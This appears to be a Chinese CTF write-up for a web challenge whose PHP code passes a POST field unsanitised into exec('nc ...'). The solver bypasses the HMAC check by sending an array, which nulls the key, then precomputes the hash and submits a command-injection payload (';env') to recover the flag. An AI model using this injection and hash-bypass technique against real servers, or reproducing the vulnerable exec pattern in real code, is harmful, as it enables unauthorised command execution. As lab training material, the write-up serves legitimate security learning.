进入靶场
音乐硬控我3分钟
回去看源码
<?php
// 检查 POST 请求中是否包含 'Black-Cat-Sheriff' 和 'One-ear' 字段
// 如果任意一个字段为空,则输出错误信息并终止脚本执行
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('请提供 Black-Cat-Sheriff 和 One-ear 参数');
}
// 从环境变量中获取 'clandestine' 的值
$clandestine = getenv("clandestine");
// 检查 POST 请求中是否包含 'White-cat-monitor' 字段
if(isset($_POST['White-cat-monitor'])) {
// 如果存在 'White-cat-monitor' 字段,使用 HMAC-SHA256 算法对其进行哈希处理
// 哈希的密钥为之前从环境变量获取的 $clandestine
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
}
// 使用 HMAC-SHA256 算法对 'One-ear' 字段的值进行哈希处理
// 哈希的密钥为更新后的 $clandestine
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
// 比较哈希结果 $hh 和 POST 请求中的 'Black-Cat-Sheriff' 字段的值
// 如果不相等,则输出错误信息并终止脚本执行
if($hh !== $_POST['Black-Cat-Sheriff']){
die('哈希验证失败');
}
// 如果哈希验证通过,则执行系统命令
// 这里尝试执行 'nc' 命令并将 'One-ear' 字段的值作为参数传递
// 此操作存在严重安全风险,因为可能导致命令注入攻击
echo exec("nc " . $_POST['One-ear']);
?>
开始解题
<?php
$clandestine = hash_hmac('sha256', array(), 123);
$hh = hash_hmac('sha256', ';cat flag.php', $clandestine);
echo $hh;
运行得到04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6PHP
<?php
var_dump(hash_hmac('sha256', ";env", NULL));
?>
运行得到afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b
最终组成payload:White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env
传post类型时可以用插件或BP
我用BP更方便一点
flag{4117c718-7501-4c0c-827e-323a8d9ea551}